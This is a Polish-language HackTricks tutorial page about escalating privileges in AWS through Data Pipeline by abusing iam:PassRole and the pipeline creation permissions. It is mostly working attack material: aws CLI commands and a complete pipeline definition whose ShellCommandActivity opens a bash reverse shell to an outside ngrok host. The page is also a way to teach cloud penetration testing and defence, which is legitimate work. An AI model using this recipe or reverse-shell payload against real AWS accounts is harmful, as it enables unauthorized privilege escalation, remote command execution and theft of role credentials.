AWS - Datapipeline Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

datapipeline

Aby uzyskać więcej informacji na temat usługi datapipeline, sprawdź:

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Użytkownicy posiadający te uprawnienia mogą eskalować uprawnienia, tworząc potok danych w celu wykonania dowolnych poleceń przy użyciu uprawnień przypisanej roli:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić konkretne działania lub tworzenie zasobów:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Należy pamiętać, że rola w liniach 14, 15 i 27 musi być rolą możliwą do założenia przez datapipeline.amazonaws.com, a rola w linii 28 musi być rolą możliwą do założenia przez ec2.amazonaws.com z profilem EC2.

Ponadto, instancja EC2 będzie miała dostęp tylko do roli możliwej do założenia przez instancję EC2 (można tylko ją ukraść).

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` **Plik definicji potoku, stworzony przez atakującego, zawiera dyrektywy do wykonania poleceń** lub utworzenia zasobów za pomocą interfejsu API AWS, wykorzystując uprawnienia roli Data Pipeline w celu potencjalnego uzyskania dodatkowych uprawnień.

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do określonej roli usługi EC2.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated